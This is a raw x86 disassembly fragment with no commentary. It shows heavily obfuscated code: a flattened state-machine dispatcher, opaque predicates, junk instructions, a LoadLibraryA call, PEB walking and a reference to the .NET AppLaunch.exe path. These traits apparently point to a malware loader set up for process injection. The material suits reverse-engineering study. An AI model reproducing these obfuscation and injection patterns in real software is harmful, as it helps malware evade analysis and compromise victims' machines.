sbb esi, 0x56
bswap edi
bswap eax
rcr esi, 0xfc
not esi
sub eax, 0x51
ror eax, 0x70
inc edi
rol eax, 0xe4
bswap eax
rcr edx, 0x28
not edi
imul ebx
rcl esi, 0x2c
rol ebx, 0x1e
dec ebx
or eax, 0x4c
ror esi, 0xbd
ror edi, 0x9d
add edx, 0xcb
inc ebx
bswap esi
imul eax
not esi
rcr edx, 0x35
dec eax
dec edi
inc eax
bswap edi
neg eax
sub edx, 0x63
neg ebx
inc esi
not edi
neg edx
rcl edx, 0xa8
ror edx, 0x4a
rcl eax, 0xc4
dec ebx
bswap ebx
neg ebx
imul esi
dec esi
bswap edx
dec eax
and edi, 0
imul esi
rol edx, 0xb9
ror edi, 0xf7
and esi, 0x9a
rol edx, 0x5c
rcl ebx, 0x4e
rcr edi, 0x21
not eax
sbb edx, 0x81
inc eax
bswap edx
rol ebx, 0xc5
or esi, 0x31
mov edx, 0x77
rcl eax, 0x8d
and ebx, 0x41
rcr edx, 0xc0
rcr edi, 0xf9
imul edx
not edx
not edx
sub ebx, 0xf8
rcl edx, 0xba
bswap eax
dec edi
rcl eax, 0x8b
sbb esi, 0x44
neg eax
bswap edx
rcl edx, 0x70
or edx, 0x46
ror ebx, 0x78
dec edi
imul eax
inc eax
ror ebx, 0xe8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
or edx, 0x1c45462c
not eax
and ecx, 0x20b081
mov esi, eax
and edx, 0x3dd7473e
and esi, 0xc2080840
or esi, edx
mov edx, eax
or edx, 0x21920112
and edx, 0x3dd7473e
or ecx, edx
xor ecx, esi
mov esi, 0x26c507cb
mov edx, ecx
not edx
and ecx, 0x74067f87
and edx, 0x8bf98078
or ecx, edx
mov edx, ecx
xor edx, 0x948c20d0
xor ecx, 0x68400900
and ecx, 0x6b505f04
and edx, 0x94afa0fb
or edx, ecx
xor edx, 0x94afa0fb
or edx, eax
xor edx, 0xffffffff
sete cl
setne ah
cmp dword [0x493580], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x324f2a8e
cmovne eax, esi
test cl, cl
mov ecx, 0x324f2a8e
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0x141faffd
je 0x412e72
cmp eax, 0x14cbfd2b
jne 0x4021f0
mov eax, 0xebe5bcd3
jmp 0x4021f0
cmp eax, 0x93c5e320
je 0x412e7c
cmp eax, 0x9416d58a
jne 0x4021f0
mov eax, dword [ebp - 0xf8]
mov eax, 0xa718cfa3
jmp 0x4021f0
cmp eax, 0x50255b9e
je 0x412f6f
cmp eax, 0x505e82b8
jne 0x4021f0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, 0x8c94c5af
jmp 0x4021f0
cmp eax, 0xf13ef391
je 0x412ff4
cmp eax, 0xf1cf8211
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1413eca
mov edx, ecx
and edx, 0x44110
and ecx, 0xfeba8025
or eax, edx
xor eax, 0x1413eca
or ecx, eax
mov edx, ecx
xor edx, 0xb8f269c1
mov eax, ecx
and eax, 0x6a20c2c2
and edx, ecx
not ecx
and ecx, 0x95df3d3d
or eax, ecx
mov esi, eax
mov ecx, eax
xor esi, 0x6a20c2c2
xor ecx, 0x2d2d54fc
xor eax, 0x11401008
and ecx, esi
or esi, 1
and eax, 0x5340500a
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xb8f269c0
and ecx, 0x470d963f
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x5340500a
mov edi, ecx
or ecx, esi
and edi, 0xacbfaff5
and esi, 0xacbfaff5
or edx, edi
or eax, esi
not ecx
mov edi, 0x7d0ea41b
mov esi, 0x6e8d8678
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x18d5a166
mov eax, ecx
and eax, 0x8940042
and edx, ecx
not ecx
and ecx, 0x1041a124
or eax, ecx
xor eax, 0x8940042
or eax, edx
not edx
and edx, 0xe72a5e99
and eax, 0x18d5a166
or eax, edx
mov ecx, eax
not ecx
and eax, 0x330cab02
mov edx, ecx
and edx, 0xccf354fd
or eax, edx
xor eax, 0x330cab02
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x493580], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, edx
and al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ah, dl
xor ah, al
not ah
test ah, 1
cmovne edi, esi
test dl, 1
mov esi, 0x7d0ea41b
cmovne esi, edi
test al, 1
cmovne esi, edi
mov eax, esi
jmp 0x4021f0
cmp eax, 0x352ad54e
je 0x4130ad
cmp eax, 0x35882782
jne 0x4021f0
mov eax, dword [ebp - 0x160]
mov edx, 0x894806f4
movzx eax, word [eax]
mov ecx, dword [ebp - 0x15c]
cmp ecx, eax
mov eax, 0xabf55957
cmovl eax, edx
jmp 0x4021f0
cmp eax, 0xb0404c58
je 0x4130c2
cmp eax, 0xb045b57f
jne 0x4021f0
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
add eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xd8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov ecx, 0xe351e6e1
mov eax, dword [ebp - 0x80]
cmp dword [eax], 0
mov eax, 0xe531f42
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0x6ef147c7
je 0x41316b
cmp eax, 0x6fb3253a
jne 0x4021f0
mov eax, 0xc6096bed
jmp 0x4021f0
cmp eax, 0xd3cd3e1c
je 0x41317b
cmp eax, 0xd3d0a359
jne 0x4021f0
mov eax, 0xe1585f71
jmp 0x4021f0
cmp eax, 0xcf6e6ed
je 0x413194
cmp eax, 0xcfc0aa1
jne 0x4021f0
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xa8892e0e
and ecx, edx
not edx
and edx, 0xa8892e0e
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xad364be4
and eax, 0x52c9b41b
or ecx, eax
mov eax, ecx
mov edx, ecx
xor eax, 0x5bf65ea
xor edx, 0x6ac57d3f
mov esi, ecx
xor esi, 0x22400815
and edx, eax
or eax, 0x9085e72a
and esi, 0x264208d5
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xd9385522
and edx, 0x26c7aadd
or eax, ebx
and ebx, 0xd9385522
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0xcf8a5493
and edx, 0x3075ab6c
or eax, edx
mov edx, eax
xor edx, 0xb00c05
xor eax, 0x5f0fb3b8
mov esi, eax
and esi, 0xab43e2ca
and edx, 0x54bc1d35
or edx, esi
mov esi, ecx
xor esi, 0xfa409a14
xor ecx, 0x4bc0520
or esi, 1
and ecx, 0x54bc1d34
or eax, esi
and esi, 0xab43e2ca
or ecx, esi
not eax
mov esi, 0x6b0c585c
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4fe291a2
and ecx, 0xb01d6e5d
or eax, ecx
mov ecx, eax
xor ecx, 0x2621080
xor eax, 0x10092610
and ecx, 0xa27658cd
and eax, 0x5d89a732
or eax, ecx
xor eax, 0x5d89a732
sete ah
setne dl
cmp dword [0x493580], 0xa
mov cl, ah
setge ch
setl al
xor cl, al
and dl, al
and ch, ah
or al, ah
or ch, dl
xor al, 1
mov edx, ecx
or al, ch
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcc31cbb2
cmovne ecx, esi
test al, 1
mov eax, 0xcc31cbb2
jmp 0x413940
cmp eax, 0x8ba40415
je 0x4131af
cmp eax, 0x8c94c5af
jne 0x4021f0
mov eax, dword [ebp - 0xc0]
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xac993add
and eax, 0x5366c522
or edx, eax
xor edx, 0xac993add
or ecx, edx
mov esi, ecx
xor esi, 0x65de574c
andn edx, ecx, esi
and esi, ecx
mov eax, edx
not eax
and edx, 0xd4465b2a
mov edi, eax
and edi, 0x2bb9a4d5
or edx, edi
mov edi, esi
not edi
and esi, 0xd4465b2a
or eax, edi
and edi, 0x2bb9a4d5
or esi, edi
not eax
xor esi, edx
mov edx, ecx
not edx
and ecx, 0xf4c306f1
or eax, esi
mov esi, eax
not esi
and eax, 0x25de574c
and esi, 0xda21a8b3
or eax, esi
mov esi, edx
and esi, 0xb3cf90e
and edx, 0x40000000
or esi, ecx
mov ecx, esi
xor ecx, 0x40204f1
xor esi, 0xb308902
or edx, ecx
and esi, 0xbbf18b02
and edx, 0x440e74fd
or edx, esi
xor edx, 0x440e74fd
or edx, eax
mov eax, dword [0x493584]
cmp edx, 0xffffffff
setne byte [ebp - 0xa5]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x7820f82c
and edx, 0x87df07d3
or eax, edx
mov edx, eax
xor edx, 0x48200820
xor eax, 0x87df07d3
mov esi, eax
and esi, 0xb29bf6ce
and edx, 0x4d640931
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4d640931
or eax, esi
and esi, 0xb29bf6ce
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x9ed0540
mov esi, ecx
and esi, 0xf612fabf
or edx, esi
mov esi, eax
not esi
and eax, 0x9ed0540
or ecx, esi
and esi, 0xf612fabf
or eax, esi
not ecx
mov esi, 0x505e82b8
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x415da8f8
and ecx, 0xbea25707
or eax, ecx
xor eax, 0x415da8f8
or edx, eax
setne al
cmp dword [0x493580], 0xa
setge ah
mov cl, ah
or ah, al
xor cl, al
mov al, ah
xor al, 1
mov ch, cl
mov edx, ecx
mov dh, al
xor ch, 1
or al, cl
and dh, ah
and dl, ch
xor al, 1
xor dh, 1
xor dl, 1
mov bl, dh
or dh, ah
or dl, ch
xor ch, ah
xor bl, ah
xor dh, 1
xor dl, 1
or al, ch
or dh, bl
or dl, cl
mov ecx, eax
mov bl, dh
xor bl, 1
and bl, dl
xor dl, 1
and dl, dh
or dl, bl
xor cl, dl
test al, al
mov eax, 0x443d3c77
cmovne eax, esi
test dl, 1
mov edx, 0x443d3c77
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
cmp eax, 0x4786c505
je 0x4131cf
cmp eax, 0x47b56375
jne 0x4021f0
cmp byte [ebp - 0x9d], 0
mov eax, 0x6a8f040f
mov ecx, 0xda216d63
cmovne eax, ecx
jmp 0x4021f0
cmp eax, 0xeb40c683
je 0x4131ee
cmp eax, 0xebe5bcd3
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4a248dca
and edx, 0xb5db7234
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov esi, ecx
xor esi, 0xa040588
xor ecx, 0xb5db7235
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x70e2a873
and esi, 0x8f1d578c
and edx, 0x8f1d578c
or ecx, ebx
and ebx, 0x70e2a873
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xc00244f1
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp dword [0x493580], 0xa
mov ecx, eax
setge dl
setl ah
xor dl, al
and cl, dl
not dl
and dl, al
xor al, ah
and al, ah
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, cl
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
mov ecx, 0xee1f75b6
jmp 0x411e08
cmp eax, 0x2d9de871
je 0x4133de
cmp eax, 0x2e1b1b97
jne 0x4021f0
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1b4], eax
mov eax, 0x352ad54e
jmp 0x4021f0
cmp eax, 0xa6295c9e
je 0x413582
cmp eax, 0xa718cfa3
jne 0x4021f0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [0x493584]
mov esi, 0x8b3e8efa
mov edi, 0x9416d58a
mov dword [ebp - 0x150], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x8c3ea90
and ecx, 0xf73c156f
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xf73c156e
xor ecx, 0x8c3ea90
xor eax, 0x8c3ea91
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
or ecx, eax
mov eax, ecx
xor eax, 0xcd13886a
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x32ec7795
and ecx, 0xcd13886a
or ecx, eax
sete cl
cmp dword [0x493580], 0xa
setge dl
setl al
mov ah, dl
or al, cl
xor ah, cl
or cl, dl
mov ch, ah
xor ch, al
or al, ah
not ah
and ah, dl
xor al, 1
xor ah, 1
or al, ch
mov dl, ah
or ah, cl
xor dl, cl
xor ah, 1
mov ecx, eax
or ah, dl
xor cl, 1
mov dl, ah
xor dl, 1
and cl, dl
or dl, al
and al, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9416d58a
jmp 0x40970e
cmp eax, 0x6793fa81
je 0x41358c
cmp eax, 0x68848420
jne 0x4021f0
mov eax, dword [ebp - 0x90]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xc434c139
mov eax, edx
and eax, 0x9609b3e4
and ecx, edx
not edx
and edx, 0x69f64c1b
mov esi, ecx
not esi
and ecx, 0x6fdabd37
or eax, edx
mov edx, eax
xor eax, 0x40344019
xor edx, 0x4008120
mov edi, eax
or edi, 0x100102c0
or eax, esi
and esi, 0x902542c8
and edx, 0x44108131
and edi, 0x902542c8
or ecx, esi
not eax
or edx, edi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x3bcb3ec6
and eax, 0xc434c139
or eax, ecx
mov edx, eax
xor edx, 0x4262cc6b
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0x843180
andn esi, eax, edx
and eax, 0x6d7cde19
mov edx, esi
not edx
and esi, 0x2a6f9ea
mov edi, edx
and edi, 0xfd590615
or esi, edi
mov edi, ecx
or edi, 0x4262cc6b
or edx, edi
and edi, 0xfd590615
or ebx, edi
not edx
xor ebx, esi
or edx, ebx
mov esi, edx
not esi
and edx, 0x4262cc6a
and esi, 0xbd9d3395
or edx, esi
mov esi, ecx
and esi, 0x928321e6
and ecx, 1
or esi, eax
mov eax, esi
xor eax, 0x6d7cde18
xor esi, 0x820300c6
or ecx, eax
mov eax, edx
not eax
and edx, 0xaa57d4de
and esi, 0xaa57d4de
mov edi, eax
or eax, ecx
and edi, 0x55a82b21
and ecx, 0x55a82b21
or edx, edi
or esi, ecx
not eax
mov edi, 0xcd85f13a
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4110872
and eax, 0xabc41088
mov edx, ecx
and edx, 0x40004500
or ecx, 0x4014d40
or esi, edx
and ecx, 0x142bef45
mov edx, esi
xor edx, 0x100032
xor esi, 0x102ae705
or eax, ecx
and esi, 0x142bef45
and edx, 0x40100032
or edx, esi
mov esi, 0xcd85f13a
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe9ec3fc1
and ecx, 0x1613c03e
or eax, ecx
mov ecx, eax
xor ecx, 0x28b46221
xor eax, 0x20540
and eax, 0x854b15d2
and ecx, 0x7ab4ea2d
or ecx, eax
mov eax, ecx
xor eax, 0x2248224
xor ecx, 0x4021092
and ecx, 0x7c92789b
and eax, 0x836d8764
or eax, ecx
xor eax, 0x836d8764
sete al
setne dl
cmp dword [0x493580], 0xa
mov ebx, eax
setl ah
mov cl, ah
xor bl, ah
xor dl, ah
or cl, al
and al, bl
and bl, ah
xor dl, 1
mov ah, al
xor al, bl
xor bl, 1
xor cl, 1
xor ah, 1
or cl, dl
or bl, ah
mov ch, cl
xor bl, 1
or bl, al
xor bl, 1
or ch, bl
xor bl, cl
mov al, ch
xor al, bl
test al, 1
mov eax, 0x579f6670
cmovne esi, eax
test bl, 1
mov eax, esi
cmovne eax, edi
test ch, 1
cmovne eax, esi
jmp 0x4021f0
cmp eax, 0xcb31776f
je 0x413834
cmp eax, 0xcbaa0d9a
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov eax, 0x39a54ba0
jmp 0x4021f0
cmp eax, 0x1ef15329
je 0x413862
cmp eax, 0x1f225f86
jne 0x4021f0
cmp byte [ebp - 0x9c], 0
mov eax, 0x6a8f040f
mov ecx, 0xf8035377
cmovne eax, ecx
jmp 0x4021f0
cmp eax, 0x9bb49b02
je 0x41394d
cmp eax, 0x9c50b02a
jne 0x4021f0
mov eax, dword [ebp - 0x124]
mov eax, 0x43ea5f3a
jmp 0x4021f0
cmp eax, 0x55303f78
je 0x413a0b
cmp eax, 0x55e6d76d
jne 0x4021f0
mov eax, dword [ebp - 0x24]
mov edi, 0xb48cd6e6
mov dword [eax], 0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xca713328
mov eax, edx
and eax, 0xc2603008
and ecx, edx
not edx
and edx, 0x8110320
or eax, edx
mov edx, eax
xor edx, 0xc2401000
xor eax, 0x3d9fcff7
mov esi, eax
and esi, 0x30a42a9c
and edx, 0xca511120
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcf5bd563
or eax, esi
and esi, 0x30a42a9c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xca713328
and ecx, 0x358eccd7
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x98a832e1
and eax, 0xed06679c
mov ecx, esi
and esi, 0x6757cd1e
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x12f99863
or eax, esi
mov esi, edx
xor esi, 0x88002280
xor edx, 0x6757cd1f
or ecx, edx
and edx, 0x12f99863
and esi, 0xed06679c
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x55eba76b
mov eax, ecx
not eax
and ecx, 0xf9f20995
and eax, 0x60df66a
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2d39aac2
and eax, 0xd2c6553d
or ecx, eax
xor ecx, 0x2b345ca8
sete ch
setne ah
cmp dword [0x493580], 0xa
mov dh, ch
setl dl
setge cl
or dh, cl
mov al, dl
and cl, ch
or al, ah
mov bl, dh
and ah, dl
or dl, ch
or cl, ah
xor bl, al
or al, dh
mov ah, dl
xor al, 1
xor cl, 1
or al, bl
xor ah, cl
or cl, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xb48cd6e6
cmovne eax, esi
test dl, 1
cmovne eax, edi
jmp 0x413829
cmp eax, 0xf86b5ce9
je 0x413a18
cmp eax, 0xf8744d39
jne 0x4021f0
mov eax, 0x95af9490
jmp 0x4021f0
cmp eax, 0x3aae2848
je 0x413a2e
cmp eax, 0x3b464d3c
jne 0x4021f0
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, 0xce9b9a14
jmp 0x4021f0
cmp eax, 0xb67d533b
je 0x413a38
cmp eax, 0xb7fa137c
jne 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0x43ea5f3a
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x77c3fe1f
and edx, 0x883c01e0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x883c01e0
or eax, esi
and esi, 0x77c3fe1f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6124e235
and eax, 0xed1a6af9
and ecx, 0x9edb1dca
or edx, ecx
mov ecx, edx
xor ecx, 0x6124e235
xor edx, 0x868a1500
mov esi, ecx
and esi, 0x12e59506
and edx, 0x868a9511
or eax, esi
mov esi, eax
not esi
and eax, 0x76e1fd52
and esi, 0x891e02ad
or eax, esi
mov esi, ecx
and esi, 0x79756aee
and ecx, 1
or esi, edx
xor eax, 0x64046855
xor esi, 0x868a9510
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x28017a78
and edx, 0xd7fe8587
or ecx, edx
xor ecx, 0x28017a78
or ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x1c1cfd3
and edx, 0xfe3e302c
or edx, esi
mov esi, eax
not esi
and eax, 0xfe3e302c
or ecx, esi
and esi, 0x1c1cfd3
or eax, esi
not ecx
mov esi, 0x9c50b02a
xor eax, edx
or ecx, eax
sete dl
setne ah
cmp dword [0x493580], 0xa
setl cl
setge ch
mov dh, cl
and dl, ch
and cl, ah
xor dh, ah
or cl, dl
mov al, dh
xor al, ch
and al, dh
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
mov edx, 0x43ea5f3a
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
jmp 0x411a48
cmp eax, 0x7dbd4a44
je 0x413b05
cmp eax, 0x7e212e30
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3bf72eb7
mov esi, ecx
and esi, 0xc408d148
and ecx, 0xddff64e1
or edx, esi
mov esi, edx
xor esi, 0x12b40296
xor edx, 0xc4004048
and edx, 0xed436c68
and esi, 0x12bc9396
or esi, edx
mov edx, eax
or edx, 0xed436c68
and eax, 0x22009b1e
and edx, 0xed436c69
or eax, ecx
xor edx, esi
xor eax, 0x22009b1e
mov esi, edx
not esi
and edx, 0x6c7f9e6a
and esi, 0x93806195
or edx, esi
mov esi, 0x8b22a334
xor edx, 0x6c7f9e6a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf70171a5
and ecx, 0x8fe8e5a
or eax, ecx
xor eax, 0xf70171a5
sete cl
setne ch
cmp dword [0x493580], 0xa
setl al
setge dl
mov ah, al
and al, ch
and ch, dl
and ah, cl
and cl, dl
or ah, ch
or al, cl
xor ah, 1
mov ecx, eax
or ah, dl
xor ah, 1
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xb256425d
cmovne eax, esi
test cl, 1
mov ecx, 0xb256425d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0xd6c6f0e9
jne 0x413b1e
inc edx
mov edx, 0x1d
sbb ebx, 0xb2
or ebx, 0xc2
inc esi
neg eax
rcr edi, 0xa3
dec eax
or eax, 0x9b
rol esi, 0x6e
sbb esi, 0x98
bswap edx
inc edx
inc edi
neg edi
inc edx
inc ebx
sbb ebx, 0x37
and ebx, 0xcd
neg esi
rcr edx, 0xf5
imul edx
imul edx
sbb esi, 0x89
ror ebx, 0x1a
sub esi, 0xdf
neg esi
or ebx, 0x5d
not esi
rol edi, 0xb8
neg eax
ror esi, 0xf2
bswap ebx
dec edi
sub ebx, 0x84
ror ebx, 0xca
bswap ebx
rcr edx, 0x8e
dec eax
rol edi, 0xa1
dec esi
and eax, 0x84
or ebx, 0xa1
dec esi
inc eax
bswap eax
neg edx
inc eax
inc edi
inc eax
bswap esi
sub esi, 0xc7
not edx
neg esi
dec ebx
dec edx
ror edi, 0xf0
ror esi, 0x5a
sub ebx, 0xca
imul edx
inc edx
inc edx
inc edi
not eax
bswap eax
sub edi, 0xb2
inc esi
sub eax, 0x86
sbb esi, 0xe3
not esi
inc edx
bswap eax
mov esi, 0xe7
bswap eax
neg eax
neg edi
sub ebx, 0x27
add edx, 0xdc
ror eax, 0x1e
ror edx, 0x69
rcl esi, 0x38
neg esi
neg esi
inc edx
dec eax
inc esi
sbb edi, 0xfa
bswap eax
sub eax, 0xa5
and ebx, 0x9d
rcl edx, 0x21
mov esi, 0x81
sbb edi, 0xb3
rcl ebx, 0x60
dec edi
mov esi, 0x57
ror ebx, 0xc8
sbb edx, 0xf6
bswap edi
rol edx, 0xb9
imul ebx
rcl ebx, 0xa5
dec ebx
imul eax
rcr ebx, 0x49
sbb ebx, 0x96
sub edx, 0xf2
inc edi
rcr eax, 0xf9
rcr esi, 0xdc
rcr ebx, 0xe2
imul ebx
not eax
or edx, 0x44
and eax, 0xb6
rol eax, 0xcf
not edi
rcl esi, 0x6d
add esi, 0x57
rcr esi, 0xb1
neg esi
dec eax
mov edx, 0xe5
bswap edx
or esi, 0x2a
and eax, 0x4d
rol ebx, 0x3b
dec edi
and esi, 0xa0
imul edx
not ebx
bswap esi
imul esi
not esi
rcr ebx, 0xa8
dec edi
bswap esi
sbb ebx, 6
sub edx, 0x1f
not edx
add ebx, 0xa4
sub edx, 0x57
inc esi
ror edx, 0x73
sbb esi, 0x6f
rol eax, 0x46
imul edx
sbb ebx, 0x39
rcr eax, 0xfd
imul esi
mov ecx, dword [ebp - 0x1c]
vmovups ymm1, ymmword [0x4401b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4401d0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x60]
add eax, 0xfffffff8
mov dword [ecx], eax
and eax, 0
not edi
rcr edx, 0x29
or esi, 0xc2
neg edx
rcr edi, 0xd3
sbb edi, 0x85
rcl edx, 0xb9
neg edx
imul eax
dec edx
or edx, 0xd8
rol esi, 0x19
not edx
rol edi, 0xaa
imul edx
sbb ebx, 0xbe
imul ebx
not ebx
rcr esi, 0x7b
rol edx, 0x5d
or eax, 0x7b
mov eax, 0xa0
inc ebx
or ebx, 2
not edx
not eax
inc ebx
not eax
sub eax, 0x21
dec edx
and esi, 0x7f
imul eax
mov ebx, 0x31
not ebx
sbb esi, 0xd9
bswap eax
or edi, 0x38
imul ebx
neg ebx
not edi
ror edx, 0x7c
or edi, 0x1a
not eax
add edx, 0xe3
bswap ebx
dec eax
dec esi
imul esi
rcl esi, 0xa5
imul edi
and eax, 0xa
neg edi
dec ebx
rol eax, 0xf6
add esi, 0x2d
neg edi
rcl eax, 0x17
add edx, 0x51
mov esi, 0x75
and edi, 0x38
bswap edx
sbb edi, 0x22
dec eax
imul ebx
inc esi
inc edx
not eax
add eax, 0x9a
or edx, 0xe5
dec edi
inc eax
dec ebx
neg edx
imul esi
sub eax, 0x98
dec esi
inc edx
neg eax
imul eax
add eax, 0x75
imul esi
rcl edi, 0x36
not edi
not ebx
inc edi
ror edi, 0x57
or ebx, 0x82
not ebx
rcl ebx, 0xc5
neg edx
rol edi, 0xa1
imul eax
ror edi, 0xea
sbb edx, 0xc
inc ebx
dec edx
not esi
rol edi, 0x72
inc ebx
inc edx
or edx, 0x84
not eax
bswap edx
inc eax
neg ebx
not ebx
dec edx
bswap eax
not ebx
rcr eax, 0x75
rcr ebx, 0xe0
and ebx, 0xe1
dec edx
not esi
neg edx
not edi
dec esi
sbb eax, 0x25
dec eax
neg ebx
add ebx, 0x5f
neg esi
imul ebx
neg edi
not esi
not eax
inc ebx
and edx, 0xed
not edi
neg eax
sbb esi, 0x17
dec ebx
not edi
imul esi
sub ebx, 0x3c
dec edx
sbb edi, 0xc9
sub edi, 0x6b
and edi, 0x8f
inc esi
bswap esi
add edi, 0x1f
mov ebx, 0xe3
rcr edx, 0xc0
imul edx
sub edx, 0xc8
rol eax, 0x10
mov edx, 0xb9
and edx, 0x73
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
